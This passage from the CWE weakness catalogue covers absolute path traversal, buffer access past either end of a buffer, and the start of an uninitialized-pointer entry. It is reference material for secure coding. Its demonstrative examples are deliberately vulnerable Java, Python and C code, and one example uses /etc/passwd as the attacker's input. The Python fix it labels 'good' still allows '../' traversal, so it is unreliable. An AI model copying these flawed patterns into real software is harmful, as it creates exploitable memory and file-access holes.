ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	37	Path Traversal: '/absolute/pathname/here'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	38	Path Traversal: '\absolute\pathname\here'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	39	Path Traversal: 'C:dirname'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	40	Path Traversal: '\\UNC\share\name\' (Windows UNC Share)

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Phase	Note
Implementation

Applicable Platforms

This listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity	Technical Impact: Modify Files or Directories The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality	Technical Impact: Read Files or Directories The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability	Technical Impact: DoS: Crash, Exit, or Restart The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.

Demonstrative Examples

Example 1

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)

Example Language: Java

String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 2

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

(bad code)

Example Language: Python

import os
import sys
def main():

filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:

with open(path, 'r') as f:

file_data = f.read()

except FileNotFoundError as e:

print("Error - file not found")

main()

However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.

(good code)

Example Language: Python

import os
import sys
def main():

filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
try:

with open(path, 'r') as f:

file_data = f.read()

except FileNotFoundError as e:

print("Error - file not found")

main()

The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/user/documents, and the user inputs /etc/passwd, the resulting path will be /home/user/documents/etc/passwd. The user is therefore contained within the current working directory as intended.

Observed Examples

Reference	Description
CVE-2022-31503	Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses
CVE-2001-1269	ZIP file extractor allows full path
CVE-2002-1818	Path traversal using absolute pathname
CVE-2002-1913	Path traversal using absolute pathname
CVE-2005-2147	Path traversal using absolute pathname
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.
CVE-1999-1263	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.
CVE-2003-0753	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.
CVE-2002-1525	Remote attackers can read arbitrary files via an absolute pathname.
CVE-2001-0038	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.
CVE-2001-0255	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.
CVE-2001-0933	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.
CVE-2002-0466	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.
CVE-2002-1483	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Memberships

This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	981	SFP Secondary Cluster: Path Traversal
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1404	Comprehensive Categorization: File Handling

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Absolute Path Traversal
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-597	Absolute Path Traversal

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Demonstrative_Examples, Description
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 788

Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

View customized information:

Description

The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

Extended Description

This typically occurs when a pointer or its index is incremented to a position after the buffer; or when pointer arithmetic results in a position after the buffer.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	121	Stack-based Buffer Overflow
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	122	Heap-based Buffer Overflow
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	126	Buffer Over-read

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.
Integrity Availability	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Integrity	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)

Example Language: C

void host_lookup(char *user_supplied_addr){

struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);

}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)

Example Language: C

int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...

}
int main() {

...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...

}

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)

Example Language: C

char * copy_input(char *user_supplied_string){

int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){

die("user string too long, die evil hacker!");

}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){

if( '&' == user_supplied_string[i] ){

dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';

}
else if ('<' == user_supplied_string[i] ){

/* encode to < */

}
else dst_buf[dst_index++] = user_supplied_string[i];

}
return dst_buf;

}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

(bad code)

Example Language: C

int processMessageFromSocket(int socket) {

int success;

char buffer[BUFFER_SIZE];
char message[MESSAGE_SIZE];

// get message from socket and store into buffer

//Ignoring possibliity that buffer > BUFFER_SIZE
if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {

// place contents of the buffer into message structure
ExMessage *msg = recastBuffer(buffer);

// copy message body into string for processing
int index;
for (index = 0; index < msg->msgLength; index++) {

message[index] = msg->msgBody[index];

}
message[index] = '\0';

// process message
success = processMessage(message);

}
return success;

}

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

Reference	Description
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist
CVE-2009-0689	large precision value in a format string triggers overflow
CVE-2009-0558	attacker-controlled array index leads to code execution
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1129	CISQ Quality Measures (2016) - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Potential Deprecation, Frequent Misuse

Rationale:

The CWE entry might be misused when lower-level CWE entries might be available. It also overlaps existing CWE entries and might be deprecated in the future.

Comments:

If the "Access" operation is known to be a read or a write, then investigate children of entries such as CWE-787: Out-of-bounds Write and CWE-125: Out-of-bounds Read.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-CWE-788

References

[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-788. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2009-10-21 (CWE 1.6, 2009-10-29)	CWE Content Team	MITRE
2009-10-21 (CWE 1.6, 2009-10-29)
Contributions
Contribution Date	Contributor	Organization
2022-02-23	Eric Constantin Brinz	GENIA-SEC IT-Sicherheitsmanagement GmbH
2022-02-23	Suggested corrections to extended description.
Modifications
Modification Date	Modifier	Organization
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Demonstrative_Examples
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Demonstrative_Examples
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Description
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Description
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Common_Consequences, Demonstrative_Examples, Observed_Examples
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Demonstrative_Examples
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Demonstrative_Examples
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Description
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 786

View customized information:

Description

The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	124	Buffer Underwrite ('Buffer Underflow')
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	127	Buffer Under-read

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.
Integrity Availability	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.
Integrity	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.

Demonstrative Examples

Example 1

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

(bad code)

Example Language: C

char* trimTrailingWhitespace(char *strMessage, int length) {

char *retMessage;
char *message = malloc(sizeof(char)*(length+1));

// copy input string to a temporary string
char message[length+1];
int index;
for (index = 0; index < length; index++) {

message[index] = strMessage[index];

}
message[index] = '\0';

// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {

message[len] = '\0';
len--;

}

// return string without trailing whitespace
retMessage = message;
return retMessage;

}

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2

The following example asks a user for an offset into an array to select an item.

(bad code)

Example Language: C

int main (int argc, char **argv) {

char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);

}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 3

The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found.

(bad code)

Example Language: C

int main() {

...
char *result = strstr(destBuf, "Replace Me");
int idx = result - destBuf;
strcpy(&destBuf[idx], srcBuf);
...

}

In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow.
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow.
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.
CVE-2006-4024	Negative value is used in a memcpy() operation, leading to buffer underflow.
CVE-2004-2620	Buffer underflow due to mishandled special characters

Detection Methods

Fuzzing

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Potential Deprecation, Frequent Misuse

Rationale:

The CWE entry might be misused when lower-level CWE entries might be available. It also overlaps existing CWE entries and might be deprecated in the future.

Comments:

If the "Access" operation is known to be a read or a write, then investigate children of entries such as CWE-787: Out-of-bounds Write and CWE-125: Out-of-bounds Read.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts

Content History

Submissions
Submission Date	Submitter	Organization
2009-10-21 (CWE 1.6, 2009-10-29)	CWE Content Team	MITRE
2009-10-21 (CWE 1.6, 2009-10-29)
Modifications
Modification Date	Modifier	Organization
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Common_Consequences, Demonstrative_Examples, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples

Weakness ID: 824

View customized information:

Description

The product accesses or uses a pointer that has not been initialized.

Extended Description

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the product to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and product operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	125	Out-of-bounds Read
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	465	Pointer Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
